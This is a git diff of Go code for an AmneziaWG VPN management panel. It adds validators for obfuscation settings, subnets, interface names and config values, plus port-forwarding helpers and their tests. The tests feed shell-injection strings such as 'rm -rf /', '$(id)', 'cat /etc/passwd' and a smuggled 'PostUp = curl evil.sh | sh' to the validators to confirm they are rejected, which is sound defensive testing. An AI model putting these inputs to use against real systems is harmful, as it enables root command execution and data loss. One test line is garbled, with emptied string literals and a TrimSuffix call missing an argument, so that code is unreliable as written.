+ return fmt.Errorf("invalid Jmin/Jmax: %d must not exceed %d", o.Jmin, o.Jmax)
+ }
+ if o.S3 < 0 || o.S3 > 64 {
+ return fmt.Errorf("invalid S3 value %d (must be 0..64)", o.S3)
+ }
+ if o.S4 < 0 || o.S4 > 32 {
+ return fmt.Errorf("invalid S4 value %d (must be 0..32)", o.S4)
+ }
+ if o.S1+56 == o.S2 {
+ return fmt.Errorf("invalid S1/S2: S1+56 must not equal S2 (%d+56 == %d)", o.S1, o.S2)
+ }
+ for i, h := range []string{o.H1, o.H2, o.H3, o.H4} {
+ if err := validateUintRange(h, 0); err != nil {
+ return fmt.Errorf("invalid H%d: %w", i+1, err)
+ }
+ }
+ if err := validateHeaderProtectionKey(o.HeaderProtectionKey); err != nil {
+ return err
+ }
+ if o.HeaderProtectionKey != "" {
+ for i, s := range []int{o.S1, o.S2, o.S3, o.S4} {
+ if s < 12 {
+ return fmt.Errorf("invalid S%d value %d: header protection requires S1-S4 >= 12", i+1, s)
+ }
+ }
+ }
+ if err := validateUintRange(o.ContentPaddingAddition, 0); err != nil {
+ return fmt.Errorf("invalid contentPaddingAddition: %w", err)
+ }
+ timing := []struct{ field, v string }{
+ {"rekeyAfterTime", o.RekeyAfterTime},
+ {"rekeyTimeout", o.RekeyTimeout},
+ {"rejectAfterTime", o.RejectAfterTime},
+ {"keepaliveTimeout", o.KeepaliveTimeout},
+ {"maxHandshakeAttempts", o.MaxHandshakeAttempts},
+ }
+ for _, tf := range timing {
+ // Zero would disable the timer or retry loop outright, so min is 1.
+ if err := validateUintRange(tf.v, 1); err != nil {
+ return fmt.Errorf("invalid %s: %w", tf.field, err)
+ }
+ }
+ // Sessions must renew before hard expiry, so every possible rekey fires
+ // before the earliest reject. A blank side means WireGuard's own default.
+ if o.RekeyAfterTime != "" || o.RejectAfterTime != "" {
+ rekeyHi, rejectLo := int64(120), int64(180)
+ if o.RekeyAfterTime != "" {
+ _, rekeyHi, _ = parseUintRange(o.RekeyAfterTime)
+ }
+ if o.RejectAfterTime != "" {
+ rejectLo, _, _ = parseUintRange(o.RejectAfterTime)
+ }
+ if rekeyHi >= rejectLo {
+ return fmt.Errorf("invalid rekeyAfterTime/rejectAfterTime: max rekey %d must be below min reject %d", rekeyHi, rejectLo)
+ }
+ }
+ return nil
+}
+
+// CanonicalizeUintRange stores a pasted "110 - 140" as "110-140", and
+// collapses a whitespace-only value back to "feature off".
+func CanonicalizeUintRange(v string) string {
+ return strings.ReplaceAll(strings.TrimSpace(v), " ", "")
+}
+
+// validateHeaderProtectionKey accepts blank (feature off) or a base64 32-byte
+// key. Control chars are rejected up front: DecodeString silently ignores
+// \r\n, so a line-wrapped pasted key would pass and then split client configs.
+func validateHeaderProtectionKey(v string) error {
+ if v == "" {
+ return nil
+ }
+ if err := ValidateConfigValue("headerProtectionKey", v); err != nil {
+ return err
+ }
+ key, err := base64.StdEncoding.DecodeString(v)
+ if err != nil {
+ return fmt.Errorf("invalid headerProtectionKey: not base64: %w", err)
+ }
+ if len(key) != 32 {
+ return fmt.Errorf("invalid headerProtectionKey: got %d bytes, want 32", len(key))
+ }
+ return nil
+}
+
+// ValidateIPv6Subnet rejects a malformed subnet before it's saved. A blank
+// value is only valid when IPv6 itself is disabled.
+func ValidateIPv6Subnet(enabled bool, subnet string) error {
+ if !enabled {
+ return nil
+ }
+ if strings.TrimSpace(subnet) == "" {
+ return fmt.Errorf("ipv6Subnet is required when IPv6 is enabled")
+ }
+ prefix, err := netip.ParsePrefix(subnet)
+ if err != nil {
+ return fmt.Errorf("invalid ipv6Subnet %q: %w", subnet, err)
+ }
+ if !prefix.Addr().Is6() {
+ return fmt.Errorf("invalid ipv6Subnet %q: not an IPv6 prefix", subnet)
+ }
+ return nil
+}
+
+// interfaceNamePattern matches a plausible Linux device name (eth0, br-lan,
+// eno1.100, eth0:0), capped at 15 bytes (IFNAMSIZ-1).
+var interfaceNamePattern = regexp.MustCompile(`^[A-Za-z0-9_.@:-]{1,15}$`)
+
+// ValidateInterfaceName guards the NIC names generateServerConfig interpolates
+// unescaped into a root-executed PostUp/PostDown line. Blank is allowed and
+// means auto-detect (or, for IPv6ExternalInterface, reuse the IPv4 one).
+func ValidateInterfaceName(name string) error {
+ if name == "" {
+ return nil
+ }
+ if !interfaceNamePattern.MatchString(name) {
+ return fmt.Errorf("invalid interface name %q: must be 1-15 characters of letters, digits, '.', '_', '@', ':' or '-'", name)
+ }
+ return nil
+}
+
+// ValidateSubnetIPv4 guards subnetIP, which lands in the MASQUERADE rule the
+// same way ExternalInterface does. subnetCIDR <= 0 means unset, mirroring
+// serverAddress's own default-to-/24 leniency.
+func ValidateSubnetIPv4(subnetIP string, subnetCIDR int) error {
+ cidr := subnetCIDR
+ if cidr <= 0 {
+ cidr = 24
+ }
+ if cidr > 32 {
+ return fmt.Errorf("invalid subnetCidr %d: must be 0..32", subnetCIDR)
+ }
+ prefix, err := netip.ParsePrefix(fmt.Sprintf("%s/%d", subnetIP, cidr))
+ if err != nil {
+ return fmt.Errorf("invalid subnetIp %q: %w", subnetIP, err)
+ }
+ if !prefix.Addr().Is4() {
+ return fmt.Errorf("invalid subnetIp %q: not an IPv4 address", subnetIP)
+ }
+ return nil
+}
+
+// ValidateConfigValue rejects control characters in any value interpolated
+// verbatim into a rendered .conf: a newline re-opens an [Interface] section
+// whose "PostUp = ..." runs as root the moment whoever downloaded that
+// config -- the client app, or an admin importing it into the official
+// awg-quick CLI directly -- applies it. The panel's own server side never
+// runs awg-quick itself (internal/amneziawgnet applies config via
+// amneziawg-go's UAPI, not a parsed text file), but this exact value still
+// reaches a real text-based config downstream. field names the value.
+func ValidateConfigValue(field, v string) error {
+ for _, r := range v {
+ if r == '\n' || r == '\r' || r < 0x20 || r == 0x7f {
+ return fmt.Errorf("invalid %s: control characters are not allowed", field)
+ }
+ }
+ return nil
+}
+
+// validateUintRange checks a uint32-range parameter (H1-H4, the 3.x padding
+// and timing fields): blank, an integer, or "low-high" within the bounds.
+func validateUintRange(v string, minAllowed int64) error {
+ if strings.TrimSpace(v) == "" {
+ return nil
+ }
+ // parseUintRange trims each half, so "110\n-140" would otherwise pass and
+ // then split a rendered config line in two.
+ if err := ValidateConfigValue("range", v); err != nil {
+ return fmt.Errorf("value %q must not contain control characters", v)
+ }
+ lo, hi, ok := parseUintRange(v)
+ if !ok {
+ return fmt.Errorf("value %q must be an integer or a low-high range", v)
+ }
+ if lo < minAllowed || hi > hMaxValid || lo > hi {
+ return fmt.Errorf("range %q must satisfy %d <= low <= high <= %d", v, minAllowed, hMaxValid)
+ }
+ return nil
+}
+
+// parseUintRange parses "N" (lo == hi) or "low-high"; ok is false when blank
+// or non-numeric. Bounds are NOT checked here.
+func parseUintRange(v string) (lo, hi int64, ok bool) {
+ v = strings.TrimSpace(v)
+ if v == "" {
+ return 0, 0, false
+ }
+ if loS, hiS, isRange := strings.Cut(v, "-"); isRange {
+ l, err1 := strconv.ParseInt(strings.TrimSpace(loS), 10, 64)
+ h, err2 := strconv.ParseInt(strings.TrimSpace(hiS), 10, 64)
+ if err1 != nil || err2 != nil {
+ return 0, 0, false
+ }
+ return l, h, true
+ }
+ n, err := strconv.ParseInt(v, 10, 64)
+ if err != nil {
+ return 0, 0, false
+ }
+ return n, n, true
+}
diff --git a/internal/amneziawg/params_test.go b/internal/amneziawg/params_test.go
new file mode 100644
index 000000000..ef9e6903e
--- /dev/null
+++ b/internal/amneziawg/params_test.go
@@ -0,0 +1,384 @@
+package amneziawg
+
+import (
+ "encoding/base64"
+ "strconv"
+ "strings"
+ "testing"
+)
+
+func TestGenerateObfuscation31DefaultRanges(t *testing.T) {
+ for i := 0; i < 200; i++ {
+ o := GenerateObfuscation31()
+ if o.Jc < 3 || o.Jc > 6 {
+ t.Fatalf("Jc = %d, want [3,6]", o.Jc)
+ }
+ if o.Jmin < 40 || o.Jmin > 89 {
+ t.Fatalf("Jmin = %d, want [40,89]", o.Jmin)
+ }
+ if o.Jmax < o.Jmin+50 || o.Jmax > o.Jmin+250 {
+ t.Fatalf("Jmax = %d, want [Jmin+50, Jmin+250] (Jmin=%d)", o.Jmax, o.Jmin)
+ }
+ if o.S1 < 15 || o.S1 > 150 {
+ t.Fatalf("S1 = %d, want [15,150]", o.S1)
+ }
+ if o.S2 < 15 || o.S2 > 150 {
+ t.Fatalf("S2 = %d, want [15,150]", o.S2)
+ }
+ if o.S1+56 == o.S2 {
+ t.Fatalf("S1+56 == S2 (%d+56 == %d): violates kernel constraint", o.S1, o.S2)
+ }
+ if o.S3 < 12 || o.S3 > 55 {
+ t.Fatalf("S3 = %d, want [12,55]", o.S3)
+ }
+ if o.S4 < 12 || o.S4 > 27 {
+ t.Fatalf("S4 = %d, want [12,27]", o.S4)
+ }
+ if o.HeaderProtectionKey != "" {
+ if err := ValidateObfuscation(o); err != nil {
+ t.Fatalf("generated set failed its own validation: %v", err)
+ }
+ }
+ for name, h := range map[string]string{"H1": o.H1, "H2": o.H2, "H3": o.H3, "H4": o.H4} {
+ if err := validateUintRange(h, 0); err != nil {
+ t.Fatalf("%s = %q invalid: %v", name, h, err)
+ }
+ if h == "" {
+ t.Fatalf("%s is empty, want a generated range", name)
+ }
+ }
+ if !strings.HasPrefix(o.I1, "") {
+ t.Fatalf("I1 = %q, want \"\" form", o.I1)
+ }
+ n, err := strconv.Atoi(strings.TrimSuffix(strings.TrimPrefix(o.I1, ""))
+ if err != nil || n < 32 || n > 256 {
+ t.Fatalf("I1 = %q, embedded N must be an integer in [32,256]", o.I1)
+ }
+ for name, v := range map[string]string{"I2": o.I2, "I3": o.I3, "I4": o.I4, "I5": o.I5} {
+ if v != "" {
+ t.Fatalf("%s = %q, generated sets must leave I2-I5 empty", name, v)
+ }
+ }
+ key, err := base64.StdEncoding.DecodeString(o.HeaderProtectionKey)
+ if err != nil || len(key) != 32 {
+ t.Fatalf("HeaderProtectionKey = %q, must be base64 of 32 bytes (err=%v)", o.HeaderProtectionKey, err)
+ }
+ assertRangeWithin(t, "ContentPaddingAddition", o.ContentPaddingAddition, 8, 64)
+ rkLo, rkHi := assertRangeWithin(t, "RekeyAfterTime", o.RekeyAfterTime, 100, 160)
+ if rkHi-rkLo < 10 || rkHi-rkLo > 40 {
+ t.Fatalf("RekeyAfterTime = %q, width must be in [10,40]", o.RekeyAfterTime)
+ }
+ rjLo, _ := assertRangeWithin(t, "RejectAfterTime", o.RejectAfterTime, 130, 310)
+ if rjLo < rkHi+30 {
+ t.Fatalf("RejectAfterTime = %q must start >= 30s above RekeyAfterTime max %d", o.RejectAfterTime, rkHi)
+ }
+ assertRangeWithin(t, "RekeyTimeout", o.RekeyTimeout, 3, 10)
+ assertRangeWithin(t, "KeepaliveTimeout", o.KeepaliveTimeout, 8, 20)
+ assertRangeWithin(t, "MaxHandshakeAttempts", o.MaxHandshakeAttempts, 15, 50)
+ if !o.RandomTrailers || !o.DisableCookies {
+ t.Fatalf("RandomTrailers/DisableCookies = %v/%v, generated sets default both on", o.RandomTrailers, o.DisableCookies)
+ }
+ }
+}
+
+// assertRangeWithin parses a "lo-hi" value and fails unless
+// min <= lo <= hi <= max, returning the parsed bounds.
+func assertRangeWithin(t *testing.T, name, v string, min, max int64) (lo, hi int64) {
+ t.Helper()
+ lo, hi, ok := parseUintRange(v)
+ if !ok || !strings.Contains(v, "-") {
+ t.Fatalf("%s = %q, want a lo-hi range", name, v)
+ }
+ if lo < min || hi > max || lo > hi {
+ t.Fatalf("%s = %q, want %d <= lo <= hi <= %d", name, v, min, max)
+ }
+ return lo, hi
+}
+
+func TestGenerateHRangesNonOverlapping(t *testing.T) {
+ for i := 0; i < 50; i++ {
+ h := generateHRanges()
+ var prevHi int64
+ for i, r := range h {
+ lo, hi, ok := strings.Cut(r, "-")
+ if !ok {
+ t.Fatalf("H%d = %q is not a range", i+1, r)
+ }
+ loN, _ := strconv.ParseInt(lo, 10, 64)
+ hiN, _ := strconv.ParseInt(hi, 10, 64)
+ if loN <= prevHi {
+ t.Fatalf("H%d = %q overlaps or touches the previous range (prev high=%d)", i+1, r, prevHi)
+ }
+ if hiN-loN < hMinWidth {
+ t.Fatalf("H%d = %q is narrower than hMinWidth=%d", i+1, r, hMinWidth)
+ }
+ prevHi = hiN
+ }
+ }
+}
+
+func validObfuscation() Obfuscation31 {
+ return GenerateObfuscation31()
+}
+
+func TestValidateObfuscationAcceptsGenerated(t *testing.T) {
+ for i := 0; i < 50; i++ {
+ if err := ValidateObfuscation(validObfuscation()); err != nil {
+ t.Fatalf("generated obfuscation set rejected: %v", err)
+ }
+ }
+}
+
+func TestValidateObfuscationAcceptsBlankH(t *testing.T) {
+ o := validObfuscation()
+ o.H1, o.H2, o.H3, o.H4 = "", "", "", ""
+ if err := ValidateObfuscation(o); err != nil {
+ t.Fatalf("blank H values should be allowed (fall back to defaults): %v", err)
+ }
+}
+
+func TestValidateObfuscationRejectsBadJminJmax(t *testing.T) {
+ o := validObfuscation()
+ o.Jmin, o.Jmax = 50, 10
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatal("Jmin > Jmax must be rejected")
+ }
+}
+
+func TestValidateObfuscationRejectsBadS3S4(t *testing.T) {
+ o := validObfuscation()
+ o.S3 = 65
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatal("S3 > 64 must be rejected")
+ }
+ o = validObfuscation()
+ o.S4 = 33
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatal("S4 > 32 must be rejected")
+ }
+ o = validObfuscation()
+ o.S3, o.S4 = -1, -1
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatal("negative S3/S4 must be rejected")
+ }
+}
+
+func TestValidateObfuscationRejectsLowSWithHeaderProtection(t *testing.T) {
+ for field, set := range map[string]func(o *Obfuscation31){
+ "S1": func(o *Obfuscation31) { o.S1 = 11 },
+ "S2": func(o *Obfuscation31) { o.S2 = 11 },
+ "S3": func(o *Obfuscation31) { o.S3 = 11 },
+ "S4": func(o *Obfuscation31) { o.S4 = 11 },
+ } {
+ o := validObfuscation()
+ set(&o)
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatalf("%s = 11 with a header protection key set must be rejected", field)
+ }
+ }
+ o := validObfuscation()
+ o.HeaderProtectionKey = ""
+ o.S3, o.S4 = 8, 4
+ if err := ValidateObfuscation(o); err != nil {
+ t.Fatalf("S3/S4 below 12 with no header protection key must be accepted: %v", err)
+ }
+}
+
+func TestValidateObfuscationRejectsS1S2Collision(t *testing.T) {
+ o := validObfuscation()
+ o.S1 = 30
+ o.S2 = o.S1 + 56
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatal("S1+56 == S2 must be rejected (kernel constraint)")
+ }
+}
+
+func TestValidateObfuscationRejectsBadH(t *testing.T) {
+ cases := []string{"not-a-number", "10-", "-10", "5-4", "-1-10"}
+ for _, h := range cases {
+ o := validObfuscation()
+ o.H1 = h
+ if err := ValidateObfuscation(o); err == nil {
+ t.Fatalf("H1 = %q must be rejected", h)
+ }
+ }
+}
+
+func TestValidateObfuscationAcceptsEmpty31Fields(t *testing.T) {
+ o := validObfuscation()
+ o.HeaderProtectionKey = ""
+ o.ContentPaddingAddition = ""
+ o.RekeyAfterTime, o.RekeyTimeout, o.RejectAfterTime = "", "", ""
+ o.KeepaliveTimeout, o.MaxHandshakeAttempts = "", ""
+ o.RandomTrailers, o.DisableCookies = false, false
+ if err := ValidateObfuscation(o); err != nil {
+ t.Fatalf("all-empty 3.1 fields must be accepted (features off): %v", err)
+ }
+}
+
+func TestValidateObfuscationRejectsBadTimingRanges(t *testing.T) {
+ cases := []struct {
+ name string
+ mutate func(o *Obfuscation31)
+ }{
+ {"zero rekeyTimeout", func(o *Obfuscation31) { o.RekeyTimeout = "0" }},
+ {"zero-low range", func(o *Obfuscation31) { o.KeepaliveTimeout = "0-10" }},
+ {"inverted range", func(o *Obfuscation31) { o.RekeyAfterTime = "160-100" }},
+ {"non-numeric", func(o *Obfuscation31) { o.MaxHandshakeAttempts = "many" }},
+ {"trailing dash", func(o *Obfuscation31) { o.RejectAfterTime = "200-" }},
+ {"rekey max not below reject min", func(o *Obfuscation31) {
+ o.RekeyAfterTime = "100-200"
+ o.RejectAfterTime = "200-300"
+ }},
+ {"single rekey value at reject min", func(o *Obfuscation31) {
+ o.RekeyAfterTime = "180"
+ o.RejectAfterTime = "180-300"
+ }},
+ {"embedded newline splits the config line", func(o *Obfuscation31) {
+ o.RekeyAfterTime = "110\n-140"
+ o.RejectAfterTime = "190-250"
+ }},
+ {"reject alone below the 120s default rekey", func(o *Obfuscation31) {
+ o.RekeyAfterTime = ""
+ o.RejectAfterTime = "30-60"
+ }},
+ {"rekey alone above the 180s default reject", func(o *Obfuscation31) {
+ o.RekeyAfterTime = "200-300"
+ o.RejectAfterTime = ""
+ }},
+ }
+ for _, c := range cases {
+ o := validObfuscation()
+ c.mutate(&o)
+ if err := ValidateObfuscation(o); err == nil {
+ t.Errorf("%s must be rejected", c.name)
+ }
+ }
+}
+
+func TestValidateObfuscationRejectsBadHeaderProtectionKey(t *testing.T) {
+ cases := []struct {
+ name string
+ key string
+ }{
+ {"not base64", "not!!!base64"},
+ {"16-byte key", base64.StdEncoding.EncodeToString(make([]byte, 16))},
+ {"33-byte key", base64.StdEncoding.EncodeToString(make([]byte, 33))},
+ {"control characters", "AAAA\nBBBB"},
+ // DecodeString IGNORES \r\n, so this decodes to a valid 32 bytes —
+ // only the explicit control-character check can catch the line wrap.
+ {"line-wrapped but decodable key", "MCPfRGcDGotJ6Tcn\r\nIdDqsemj2cMIiGHnPUHM5ivXN18="},
+ }
+ for _, c := range cases {
+ o := validObfuscation()
+ o.HeaderProtectionKey = c.key
+ if err := ValidateObfuscation(o); err == nil {
+ t.Errorf("headerProtectionKey %s (%q) must be rejected", c.name, c.key)
+ }
+ }
+}
+
+func TestCanonicalizeUintRange(t *testing.T) {
+ cases := []struct{ in, want string }{
+ {"110 - 140", "110-140"},
+ {" 120 ", "120"},
+ {" ", ""},
+ {"", ""},
+ {"110-140", "110-140"},
+ }
+ for _, c := range cases {
+ if got := CanonicalizeUintRange(c.in); got != c.want {
+ t.Errorf("CanonicalizeUintRange(%q) = %q, want %q", c.in, got, c.want)
+ }
+ }
+}
+
+func TestValidateObfuscationAcceptsSingleValueRanges(t *testing.T) {
+ o := validObfuscation()
+ o.ContentPaddingAddition = "32"
+ o.RekeyAfterTime = "120"
+ o.RejectAfterTime = "180"
+ if err := ValidateObfuscation(o); err != nil {
+ t.Fatalf("single-integer values must be accepted like the awg parser does: %v", err)
+ }
+}
+
+func TestValidateInterfaceNameAcceptsBlankAndPlausibleNames(t *testing.T) {
+ for _, name := range []string{"", "eth0", "wg0", "br-lan", "eno1.100", "veth1a2b3c", "eth0:0"} {
+ if err := ValidateInterfaceName(name); err != nil {
+ t.Errorf("ValidateInterfaceName(%q) rejected a plausible name: %v", name, err)
+ }
+ }
+}
+
+func TestValidateInterfaceNameRejectsShellMetacharactersAndOverlength(t *testing.T) {
+ cases := []string{
+ "eth0 -j ACCEPT; rm -rf /",
+ "eth0`whoami`",
+ "eth0$(id)",
+ "eth0|cat /etc/passwd",
+ "eth0\nMASQUERADE",
+ "aaaaaaaaaaaaaaaaaaaa", // 20 chars, over IFNAMSIZ-1
+ }
+ for _, name := range cases {
+ if err := ValidateInterfaceName(name); err == nil {
+ t.Errorf("ValidateInterfaceName(%q) must be rejected", name)
+ }
+ }
+}
+
+func TestValidateSubnetIPv4AcceptsValidBases(t *testing.T) {
+ cases := []struct {
+ ip string
+ cidr int
+ }{
+ {"10.8.1.0", 24},
+ {"10.8.1.0", 0}, // cidr <= 0 defaults to /24, mirroring serverAddress
+ {"192.168.5.10", 32},
+ }
+ for _, c := range cases {
+ if err := ValidateSubnetIPv4(c.ip, c.cidr); err != nil {
+ t.Errorf("ValidateSubnetIPv4(%q, %d) rejected a valid subnet: %v", c.ip, c.cidr, err)
+ }
+ }
+}
+
+func TestValidateSubnetIPv4RejectsMalformedOrInjectedValues(t *testing.T) {
+ cases := []struct {
+ ip string
+ cidr int
+ }{
+ {"10.8.1.0 -j ACCEPT; rm -rf /", 24}, // shell injection attempt
+ {"not-an-ip", 24},
+ {"", 24},
+ {"fd86::1", 64}, // IPv6, not IPv4
+ {"10.8.1.0", 33}, // cidr out of range
+ }
+ for _, c := range cases {
+ if err := ValidateSubnetIPv4(c.ip, c.cidr); err == nil {
+ t.Errorf("ValidateSubnetIPv4(%q, %d) must be rejected", c.ip, c.cidr)
+ }
+ }
+}
+
+func TestValidateConfigValueAcceptsPlausibleValues(t *testing.T) {
+ for _, v := range []string{"", "user@example.com", "MCPfRGcDGotJ6TcnIdDqsemj2cMIiGHnPUHM5ivXN18=", ""} {
+ if err := ValidateConfigValue("email", v); err != nil {
+ t.Errorf("ValidateConfigValue(%q) rejected a plausible value: %v", v, err)
+ }
+ }
+}
+
+func TestValidateConfigValueRejectsControlCharacters(t *testing.T) {
+ cases := []string{
+ "a@x\nPostUp = curl evil.sh | sh",
+ "a@x\r\n[Interface]",
+ "tab\there",
+ "a@x\x7f",
+ }
+ for _, v := range cases {
+ if err := ValidateConfigValue("email", v); err == nil {
+ t.Errorf("ValidateConfigValue(%q) must be rejected", v)
+ }
+ }
+}
diff --git a/internal/amneziawg/portfwd.go b/internal/amneziawg/portfwd.go
new file mode 100644
index 000000000..473907629
--- /dev/null
+++ b/internal/amneziawg/portfwd.go
@@ -0,0 +1,142 @@
+package amneziawg
+
+import (
+ "fmt"
+ "sort"
+ "strconv"
+ "strings"
+)
+
+// portSpec is a single port (start == end) or an inclusive range start..end.
+type portSpec struct {
+ start int
+ end int
+}
+
+// parseForwardedPorts splits a user-supplied string ("80, 443; 8000-8100")
+// into validated port specs. Tokens are separated by comma or semicolon;
+// whitespace is ignored. Invalid tokens are silently dropped — the input is
+// a free-form text field and validation is best-effort by design.
+func parseForwardedPorts(input string) []portSpec {
+ if input == "" {
+ return nil
+ }
+ input = strings.ReplaceAll(input, ";", ",")
+ tokens := strings.Split(input, ",")
+
+ var specs []portSpec
+ seen := make(map[string]struct{}, len(tokens))
+ for _, tok := range tokens {
+ tok = strings.TrimSpace(tok)
+ if tok == "" {
+ continue
+ }
+ spec, ok := parsePortToken(tok)
+ if !ok {
+ continue
+ }
+ key := fmt.Sprintf("%d-%d", spec.start, spec.end)
+ if _, dup := seen[key]; dup {
+ continue
+ }
+ seen[key] = struct{}{}
+ specs = append(specs, spec)
+ }
+ return specs
+}
+
+func parsePortToken(tok string) (portSpec, bool) {
+ if idx := strings.IndexByte(tok, '-'); idx >= 0 {
+ start, ok1 := parsePortNumber(strings.TrimSpace(tok[:idx]))
+ end, ok2 := parsePortNumber(strings.TrimSpace(tok[idx+1:]))
+ if !ok1 || !ok2 || start > end {
+ return portSpec{}, false
+ }
+ return portSpec{start: start, end: end}, true
+ }
+ p, ok := parsePortNumber(tok)
+ if !ok {
+ return portSpec{}, false
+ }
+ return portSpec{start: p, end: p}, true
+}
+
+func parsePortNumber(s string) (int, bool) {
+ n, err := strconv.Atoi(s)
+ if err != nil || n < 1 || n > 65535 {
+ return 0, false
+ }
+ return n, true
+}
+
+// ForwardedPortsInclude reports whether port is covered by any spec in a raw
+// ForwardedPorts string (a single port or an inclusive range). Used for
+// save-time validation that a client isn't about to hijack the panel's own
+// port or another inbound's port -- see
+// internal/web/service/inbound_amneziawg.go's port-conflict checks.
+//
+// Per-client port-forwarding is implemented by internal/amneziawgnet's
+// listener supervisor (PortForwardSet), which dials directly into the
+// embedded gVisor netstack toward the peer's tunnel-internal address --
+// the retired kernel-module architecture used PostUp/PostDown iptables DNAT
+// rules instead, which had no equivalent path once that architecture was
+// cut over; ExpandForwardedPorts below is what the supervisor uses to turn
+// a raw spec into the concrete ports it listens on.
+func ForwardedPortsInclude(forwardedPorts string, port int) bool {
+ for _, spec := range parseForwardedPorts(forwardedPorts) {
+ if port >= spec.start && port <= spec.end {
+ return true
+ }
+ }
+ return false
+}
+
+// MaxForwardedPorts caps how many unique ports a single client's
+// ForwardedPorts spec can expand to. internal/amneziawgnet's listener
+// supervisor opens up to two real sockets (TCP+UDP) per port, so this bounds
+// worst-case file descriptor usage to a fixed, sane amount regardless of how
+// large a stored spec claims to be -- a legacy or hand-edited "1-65535"
+// costs exactly the same as "1-100" once expansion stops at the cap.
+const MaxForwardedPorts = 100
+
+// ExpandForwardedPorts parses forwardedPorts the same way
+// ForwardedPortsInclude does and returns every unique port it covers, in
+// ascending order, capped at MaxForwardedPorts. Expansion stops the instant
+// the cap is reached rather than expanding fully and truncating afterward,
+// so this is safe to call unconditionally against arbitrary -- including
+// pre-existing, pre-cap -- stored data.
+func ExpandForwardedPorts(forwardedPorts string) []int {
+ return expandForwardedPorts(forwardedPorts, MaxForwardedPorts)
+}
+
+// ExceedsForwardedPortsCap reports whether forwardedPorts covers strictly
+// more than MaxForwardedPorts unique ports -- unlike comparing
+// len(ExpandForwardedPorts(...)) to the cap, which can never tell "exactly
+// at the cap" apart from "over it" since that expansion already truncates
+// there.
+func ExceedsForwardedPortsCap(forwardedPorts string) bool {
+ return len(expandForwardedPorts(forwardedPorts, MaxForwardedPorts+1)) > MaxForwardedPorts
+}
+
+// expandForwardedPorts is ExpandForwardedPorts with an explicit stop-count,
+// so ExceedsForwardedPortsCap can probe one past the real cap without
+// expanding an arbitrarily large legacy spec in full.
+func expandForwardedPorts(forwardedPorts string, limit int) []int {
+ seen := make(map[int]struct{}, limit)
+ ports := make([]int, 0, limit)
+outer:
+ for _, spec := range parseForwardedPorts(forwardedPorts) {
+ for p := spec.start; p <= spec.end; p++ {
+ if len(ports) >= limit {
+ break outer
+ }
+ if _, dup := seen[p]; dup {
+ continue
+ }
+ seen[p] = struct{}{}
+ ports = append(ports, p)
+ }
+ }
+ sort.Ints(ports)
+ return ports
+}
diff --git a/internal/amneziawg/portfwd_test.go b/internal/amneziawg/portfwd_test.go
new file mode 100644
index 000000000..d5f9b100a
--- /dev/null
+++ b/internal/amneziawg/portfwd_test.go
@@ -0,0 +1,102 @@
+package amneziawg
+
+import (
+ "fmt"
+ "reflect"
+ "strconv"
+ "strings"
+ "testing"
+)
+
+func TestForwardedPortsInclude(t *testing.T) {
+ cases := []struct {
+ spec string
+ port int
+ want bool
+ }{
+ {"80,443", 80, true},
+ {"80,443", 443, true},
+ {"80,443", 8080, false},
+ {"8000-8100", 8050, true},
+ {"8000-8100", 7999, false},
+ {"8000-8100", 8101, false},
+ {"", 80, false},
+ {"not-a-port", 80, false},
+ }
+ for _, c := range cases {
+ if got := ForwardedPortsInclude(c.spec, c.port); got != c.want {
+ t.Errorf("ForwardedPortsInclude(%q, %d) = %v, want %v", c.spec, c.port, got, c.want)
+ }
+ }
+}
+
+func TestExpandForwardedPorts(t *testing.T) {
+ cases := []struct {
+ name string
+ spec string
+ want []int
+ }{
+ {"empty", "", nil},
+ {"malformed", "not-a-port", nil},
+ {"single ports", "443,80", []int{80, 443}},
+ {"a range", "8000-8003", []int{8000, 8001, 8002, 8003}},
+ {
+ "overlapping-but-distinct ranges dedupe and merge",
+ "80-90,85-95",
+ []int{80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95},
+ },
+ {"mixed single ports and a range, unsorted input", "443,80-82,80", []int{80, 81, 82, 443}},
+ }
+ for _, c := range cases {
+ t.Run(c.name, func(t *testing.T) {
+ got := ExpandForwardedPorts(c.spec)
+ if len(got) == 0 && len(c.want) == 0 {
+ return
+ }
+ if !reflect.DeepEqual(got, c.want) {
+ t.Errorf("ExpandForwardedPorts(%q) = %v, want %v", c.spec, got, c.want)
+ }
+ })
+ }
+}
+
+func TestExpandForwardedPortsCapsAtMaxForwardedPorts(t *testing.T) {
+ got := ExpandForwardedPorts("1-200")
+ if len(got) != MaxForwardedPorts {
+ t.Fatalf("len(ExpandForwardedPorts(\"1-200\")) = %d, want %d", len(got), MaxForwardedPorts)
+ }
+ for i, port := range got {
+ if want := i + 1; port != want {
+ t.Fatalf("ExpandForwardedPorts(\"1-200\")[%d] = %d, want %d (expansion must stop at the cap, not truncate after expanding fully)", i, port, want)
+ }
+ }
+}
+
+func TestExpandForwardedPortsCapAppliesAcrossMultipleSpecs(t *testing.T) {
+ // A spec whose total span far exceeds the cap, split across many
+ // individually-small tokens -- proves the cap is enforced cumulatively
+ // across specs, not reset (or bypassed) per spec.
+ tokens := make([]string, 150)
+ for i := range tokens {
+ tokens[i] = strconv.Itoa(10000 + i)
+ }
+ spec := strings.Join(tokens, ",")
+ got := ExpandForwardedPorts(spec)
+ if len(got) != MaxForwardedPorts {
+ t.Fatalf("len(ExpandForwardedPorts(150 distinct single ports)) = %d, want %d", len(got), MaxForwardedPorts)
+ }
+}
+
+func TestExceedsForwardedPortsCap(t *testing.T) {
+ atCap := fmt.Sprintf("1-%d", MaxForwardedPorts)
+ if ExceedsForwardedPortsCap(atCap) {
+ t.Fatalf("a spec covering exactly %d ports is AT the cap, not over it", MaxForwardedPorts)
+ }
+ overCap := fmt.Sprintf("1-%d", MaxForwardedPorts+1)
+ if !ExceedsForwardedPortsCap(overCap) {
+ t.Fatalf("a spec covering %d ports must be reported as exceeding the cap", MaxForwardedPorts+1)
+ }
+ if ExceedsForwardedPortsCap("1-10") {
+ t.Fatal("a small spec must not be reported as exceeding the cap")
+ }
+}
diff --git a/internal/amneziawg/types.go b/internal/amneziawg/types.go
new file mode 100644
index 000000000..7d3020ded
--- /dev/null
+++ b/internal/amneziawg/types.go
@@ -0,0 +1,245 @@
+// Package amneziawg holds the AmneziaWG protocol's shared, DB-backed shapes
+// (Instance, Peer, Obfuscation31, ServerSettings/InboundSettings) and the
